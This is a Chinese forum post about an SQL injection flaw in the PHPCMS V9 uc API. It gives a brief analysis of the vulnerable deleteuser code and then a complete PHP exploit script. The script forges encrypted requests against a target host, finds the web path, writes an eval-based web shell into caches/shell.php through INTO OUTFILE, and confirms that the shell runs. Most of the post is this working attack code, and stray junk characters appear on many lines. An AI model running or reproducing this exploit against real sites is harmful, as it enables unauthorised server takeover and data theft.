找回密码
 立即注册
查看: 2534|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
: V- p* @+ c9 E% F, t' e
2 w: G; t/ p7 V: j, B" S所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。5 q) Q% N6 i! w$ R$ \
% @* O; o! w  J- B) A1 s! r  I
漏洞分析:
' L. v) z" w+ c! h' N6 w" F1.未启用ucenter服务的情况下uc_key为空& N" T* Y  X% a1 o2 j( D
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
" I* X1 V' a4 h" I" f2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
- B6 x! O. X- n, n    public function deleteuser($get,$post) {
$ d" h/ y* N5 g' i; a5 _        pc_base::load_app_func('global', 'admin');
* I9 w' t0 S! X  J/ @1 q; Y        pc_base::load_app_class('messagequeue', 'admin' , 0);( k: G* T' c6 b- o& p
        $ids = new_stripslashes($get['ids']);! G5 C% Z" D4 B3 ?& @' B
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");: I$ [8 e8 z0 y, |- E
SQL语句为
/ Q. e: D+ |5 n1 S. uSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)7 }' E& J, I+ @0 J' {5 u

3 j: p2 ?$ w: g$ h5 ^8 O利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell, [0 e) N$ f* t) y0 K8 W% R( ?
<?php
2 A* j3 t( Q  @4 ]4 zprint_r('
& m/ k" m0 c6 l* O: Q/ u) M---------------------------------------------------------------------------5 X$ ]; c( |+ ?+ U7 V" n- K* p
PHPcms (v9 or Old Version) uc api sql injection 0day- b5 {5 m; W/ k+ z& u8 Y& _
by rayh4c#80sec.com
# F) a! h5 v; u/ a---------------------------------------------------------------------------
7 M) G) e7 _' o; o$ S- V');
* k& J6 P, M2 v$ B- o) t4 c& k
4 e1 E( D( U/ Y: W% Mif ($argc<3) {
! y: S3 s9 g$ W8 R2 ~! C    print_r('
3 }2 m2 P$ t& C---------------------------------------------------------------------------2 ^1 B  ^. \4 @6 M  e7 l% I6 Q
Usage: php '.$argv[0].' host path OPTIONS# a  o* n. \0 ^, m, w
host:      target server (ip/hostname)8 q' v9 `" u' j9 a2 u- `' ^6 d
path:      path to phpcms& b# U) O3 ~7 y4 H' o- n
Options:: h' t/ @& ?' @
-p[port]:    specify a port other than 80% i% D+ p- E1 P9 z5 i
-P[ip:port]: specify a proxy
6 O1 v9 v+ c1 y( iExample:3 K1 i- B* h2 M/ g8 i3 z
php '.$argv[0].' localhost /
9 z7 s  W0 k# ?/ \) `php '.$argv[0].' localhost /phpcms/ -p811 m! S) K2 g  [8 H% }, i- f( w
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80  A, f& _. x% F; Q; w$ e) y6 T
---------------------------------------------------------------------------
/ g  {) `" K5 g, N& B' w3 I  v');
8 ^* n4 l# o) M$ }. [7 L! c; r  J    die;
9 l( K, I6 @4 c( r! ~}4 F: X# m0 R* v1 E! p, y
1 y( O! d( l9 H" v- h7 u; ?3 \
error_reporting(7);: m$ o3 l% i$ O: O* n
ini_set("max_execution_time",0);# P% \% _! \. H# ]1 [. e
ini_set("default_socket_timeout",5);
; Q0 {; y0 P, [, l0 G7 L8 l& D& [. }( O' v
function quick_dump($string)
5 }# D+ ]: p( H) b4 |$ Y{. ?3 h) l% ^5 l* ?* t$ F4 _
  $result='';$exa='';$cont=0;
! M( f$ S$ d% y& R6 S5 W8 ^  for ($i=0; $i<=strlen($string)-1; $i++). b8 |# L1 `6 b- U; k, s, s
  {
: w  D( l* }5 m/ i: O2 O. @   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))1 |' n; P. X  v
   {$result.="  .";}! U# t4 ]- k# I
   else
! l2 b" x- R9 s! |4 b$ I   {$result.="  ".$string[$i];}- |( K! b5 m/ `% k8 L  _5 d! U; ?
   if (strlen(dechex(ord($string[$i])))==2)
6 M/ A* z8 S+ \9 A   {$exa.=" ".dechex(ord($string[$i]));}/ V  m6 F: e# W
   else/ m& _- X* i# G# V) K  M
   {$exa.=" 0".dechex(ord($string[$i]));}
) b3 S, S  o' u- U   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
, l  P& V- j* q7 W  }$ e) |3 S  ^$ m7 x+ s: \
return $exa."\r\n".$result;* X7 [7 {; C# @6 l
}
' F8 Y. `4 l/ ~, G% n8 Q' h  G  Y' T$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';* q  x# ^5 V7 W( a# }  I' b
3 h9 v& C2 ^7 p4 {# i# P9 o) I# a
function send($packet)* Q- K2 {: z- y' o
{' P! q2 ]4 ]8 f; }! r9 P
  global $proxy, $host, $port, $html, $proxy_regex;
6 E5 i" k+ J# t6 {7 ]  if ($proxy=='') {
" Q  S3 d% L" Q. f+ [    $ock=fsockopen(gethostbyname($host),$port);
6 A# q# h2 c( e) Y; [& Y+ l    if (!$ock) {
0 P9 T  g5 Y. A4 f" @0 h" Z      echo 'No response from '.$host.':'.$port; die;
% E/ i" v( B9 d4 F- P. W) ~* {    }
  y7 [, {0 {9 \) z  }
  C  F/ d9 `! \# H% k  else {
# |5 L7 @% F$ ^( V        $c = preg_match($proxy_regex,$proxy);) y8 P+ \9 T5 \  n/ |  L
    if (!$c) {+ t% N9 W9 J/ S! a* K
      echo 'Not a valid proxy...';die;
7 {1 `) |. ^2 _: j6 L$ U    }
8 d6 l+ R/ Y3 J) t, \6 H5 ~    $parts=explode(':',$proxy);  _* t! ^( W" ?7 C
    $parts[1]=(int)$parts[1];
8 X/ m' I8 i5 M5 W5 i# z    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
6 R- r' J/ p, r    $ock=fsockopen($parts[0],$parts[1]);
1 `& ?$ r. W" l2 [7 D  \3 W0 n0 Y/ `    if (!$ock) {8 Y& u7 l- f0 Y$ k
      echo 'No response from proxy...';die;
. ^( \6 x  w; r. z! |. S        }
8 D) g! X% h$ l2 p  }
( a) P& t0 s" D! l  fputs($ock,$packet);
5 B* @4 v7 p* q# O3 P  if ($proxy=='') {, z* ]4 e/ J( x2 {9 @  [5 U( W
    $html='';4 ?( p' \5 a- Y5 g+ V
    while (!feof($ock)) {: ?. U- Q4 S6 U0 r- D
      $html.=fgets($ock);
# L8 L0 A9 p+ D1 X- M3 P( K- x  m5 W    }
1 Q. D* e7 l$ t  }
! H+ M: o1 K& h9 K6 v. l& K' J' a  else {( V, d7 k' U) |. N9 J
    $html='';
- T0 n$ R6 |. Y" f' C  e    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {: Y) ]+ [- Z+ i2 X7 L
      $html.=fread($ock,1);. V% w1 e5 S6 V8 \6 @! E: E
    }/ F( m. t0 Y- ^
  }8 C6 K( V1 S% |8 h  }. q# x# o4 N
  fclose($ock);
# j6 o/ b2 E, ]0 {}
; P  B/ K4 C8 b) F6 d8 ^5 _
0 M6 {) K; q3 C+ d" q2 S; g* W$host=$argv[1];+ m# u# W3 G+ F1 O( r, t# K
$path=$argv[2];; [( `  L' {2 J2 y/ c% P
$port=80;
0 w+ D3 @  ~; L! a4 p) X6 T* N$proxy="";7 D/ q$ n1 `( d" J
for ($i=3; $i<$argc; $i++){& K+ |& h9 G& D4 a( h* i
$temp=$argv[$i][0].$argv[$i][1];
2 P0 a- a5 D1 p: D0 cif ($temp=="-p")0 D* g9 ^7 K/ w# F
{
: E1 e0 S' A  I" C5 u2 K  $port=(int)str_replace("-p","",$argv[$i]);  {! E) g- ]  s5 E# L
}* B+ ?; s; b( W8 P$ O
if ($temp=="-P")
2 d, E. u' J5 n5 L{
3 Z+ @3 z" E( Z" W3 f" w  $proxy=str_replace("-P","",$argv[$i]);: a3 p( N! i0 T6 @& D/ G' H4 I
}
4 f! A# H! o4 @; L$ X}
  C1 Y5 M* V3 w" R. P  T- Q
* t2 r) `2 E) N. x7 r( }if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
; D% U6 G5 E$ [, N3 e, j; `if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  K9 `. X; m3 x6 e. w5 U: x% J/ ]0 y
1 F6 u6 q' H$ z& Hfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {- f  E% q9 J7 u- o

5 t+ A5 x* P+ e) v2 u    $ckey_length = 4;
$ S, f* Q$ L. e( g' }: U0 G: R: [0 ~, x# K% n
    $key = md5($key ? $key : '');
7 x( h" I( b5 K+ y8 y- \$ U( }) _9 @5 k    $keya = md5(substr($key, 0, 16));
7 X% `4 ]2 a$ X: k$ T    $keyb = md5(substr($key, 16, 16));% [6 A. y. W5 S; Y% c# O
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';/ k& p' w% V% D

1 K8 {4 c* O* f+ T6 F0 y6 n    $cryptkey = $keya.md5($keya.$keyc);4 M% ^' P7 w7 ]/ r: {7 a
    $key_length = strlen($cryptkey);
0 Z2 ?- [; r+ |9 @4 L, w3 x) b9 ]
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;! ^2 S: D# d+ K' O
    $string_length = strlen($string);
* K. a/ W- a) e3 o; M$ f( G
  r9 L) n; K% G/ z% F$ z# V$ O. t; F    $result = '';
0 x# _- j1 E) V- f; h    $box = range(0, 255);
2 L: ?7 g4 N) K$ ^: j, z- R! G. Z- [# O% ], J2 {
    $rndkey = array();6 H/ m; z$ N: K: @* C. c
    for($i = 0; $i <= 255; $i++) {
3 ^: E9 n0 h0 r( o: e" p        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
/ P; q& h) W; ~7 c1 a    }
( N9 j8 k, a* O
( T* T6 J) Z% @; O    for($j = $i = 0; $i < 256; $i++) {
4 d5 u& h4 f* j, ?- x3 J- H9 Y6 v/ r3 k. o        $j = ($j + $box[$i] + $rndkey[$i]) % 256;; F1 k5 z6 y( V' D
        $tmp = $box[$i];
# v. Q. k, h$ G, i9 K        $box[$i] = $box[$j];5 f, v) g6 V  A! |. C, D
        $box[$j] = $tmp;7 n8 J8 A6 j; j; c
    }& Q. y& X7 y- R$ [3 O, k
+ h$ n/ U: B: A8 s% B) T2 Y5 G
    for($a = $j = $i = 0; $i < $string_length; $i++) {" b9 ]% ~; k" O4 U) `  n
        $a = ($a + 1) % 256;
& M) x2 D% d3 I2 W8 F) R        $j = ($j + $box[$a]) % 256;: u( m& \! B4 N
        $tmp = $box[$a];0 j. U- y- F' k$ T4 Y' s/ {
        $box[$a] = $box[$j];1 I; o) t6 t) d6 v. N
        $box[$j] = $tmp;
. O7 Y. T$ V0 e        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
0 H1 E2 c% E8 I6 Q: F" Q& p8 l    }& a6 x  r# N+ I. ~8 B! X
) F& }) Q+ S* Y3 H- q
    if($operation == 'DECODE') {" E9 J! u% _* L7 y
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {( c) I( N- [( q/ V# o
            return substr($result, 26);
8 \" C7 }7 N, R" {' ~; \0 t2 m3 x  D# K        } else {
; r+ n$ I$ v* @3 C            return '';3 Q. |. G; N3 q4 C. o' @) i
        }' a9 O. D8 H9 m7 y: n
    } else {
, k4 Q6 D3 e  H4 ]" \3 G        return $keyc.str_replace('=', '', base64_encode($result));
9 Z, ?4 v, ]/ U' x7 S5 `    }5 S9 _9 L0 \  Z- S. u/ X

3 w; }8 U% C2 n" @9 M}; x  k! l- K0 u; k3 G  W8 ^5 c) g' U
! Z, k. p8 i& H7 d& C5 `
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";4 V2 k# \! G; K; g' m
$SQL = urlencode(authcode($SQL, "ENCODE", ""));, M/ g% @' l: k9 b0 |
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";( a, o* {# x5 P: J7 W
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
, L! h$ d- \2 u9 s3 ^4 l* f$packet.="User-Agent: Mozilla/5.0\r\n";* O8 K. d5 M6 M8 b. j) m( w! T) M: o
$packet.="Host: ".$host."\r\n";
+ F' o; _9 O3 z( W, n; W$packet.="Connection: Close\r\n\r\n";" O" l# I8 e- {! i
send($packet);
2 U& Z1 F% y- z/ wif(strpos($html,"MySQL Errno") > 0){+ a$ x" H. g: Q0 Z1 e3 Y9 h- Z
echo "[2] 发现存在SQL注入漏洞"."\n";
& g! i7 C! T7 V$ O2 ]5 Gecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";$ n7 {% z4 `' ~
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";; k1 H9 d- n. @$ x; _& e, {' |' G/ t
$packet.="User-Agent: Mozilla/5.0\r\n";* a- @/ q% U8 h2 v  [
$packet.="Host: ".$host."\r\n";
5 H+ X) r0 g6 m% w) c/ z$packet.="Connection: Close\r\n\r\n";" J/ q2 f' W+ h5 X9 M
send($packet);
3 M7 c$ o6 Q  o; i8 xpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);; ^/ M1 s0 G1 h" k, e0 I# b& m
//print_r($matches);3 E+ U% a4 l# \$ k3 Z
if(!empty($matches)){' ^3 m2 Z3 Q5 Q  v; o. ~$ a2 e
echo "[4] 得到web路径 " . $matches[0]."\n";8 V" a  J' B8 h; [/ B
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
% {5 v* }. z; P  z5 f$SQL = "time=999999999999999999999999&ids=1)";+ s& L. w! ~9 J1 X' y
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";- Y( ]+ `! e  q' H, }% D
$SQL.="&action=deleteuser";
2 L0 ^( p( j2 t9 t2 E- s% y- R$ B$SQL = urlencode(authcode($SQL, "ENCODE", ""));
) C9 q$ j! y1 Z* Aecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
# P( S5 b  q4 F$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
3 F8 A4 B8 z' `' Q$packet.="User-Agent: Mozilla/5.0\r\n";
3 E7 h; c( H+ v# t$packet.="Host: ".$host."\r\n";" i+ o: `. z1 X% S" ?& }
$packet.="Connection: Close\r\n\r\n";
+ n9 T$ L7 H  Asend($packet);
$ r- U- i- C, Y% ]3 }8 p4 |if(strpos($html,"Access denied") > 0){
% t9 P) `2 M$ g: i9 S4 |echo "[-] MYSQL权限过低 禁止写入文件 ";+ g. _" k8 W4 T
die;& v/ `: R' |% l
}9 J0 o" i7 F9 Y( R
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
4 u9 V# b4 h$ Y) m+ W# ^7 w9 m$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
  I9 R% Y) V% d) t* Y$packet.="User-Agent: Mozilla/5.0\r\n";! C- y: B! C+ i' C1 Z0 F
$packet.="Host: ".$host."\r\n";" f6 N3 O; F, A6 a
$packet.="Connection: Close\r\n\r\n";
1 n7 Q- [  S; c: }send($packet);
" {2 b- R0 `1 r/ o$ I0 v1 gif(strpos($html,"<title>phpinfo()</title>") > 0){
' s% e  x, `3 N( c. d/ `echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";( z2 d+ a! H# D( k$ f: J
}- h* C$ X1 a  ^+ l! A
}else{. C# l) B4 S0 m9 q
echo "[-]未取到web路径 ";
& ~0 V. Y* D1 E- K* z7 A- d# x}+ Z7 T3 }9 H  C6 a8 U, C
}else{" V. x. h. \& M
echo "[*]不存在SQL注入漏洞"."\n";
9 T8 \! T: T( d" Q, g}
% I1 g3 t% h( }! ^0 F
: v8 g2 q0 ?' m& c* v' O! `8 V?>9 a; w& ^( @" p5 C7 }% H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表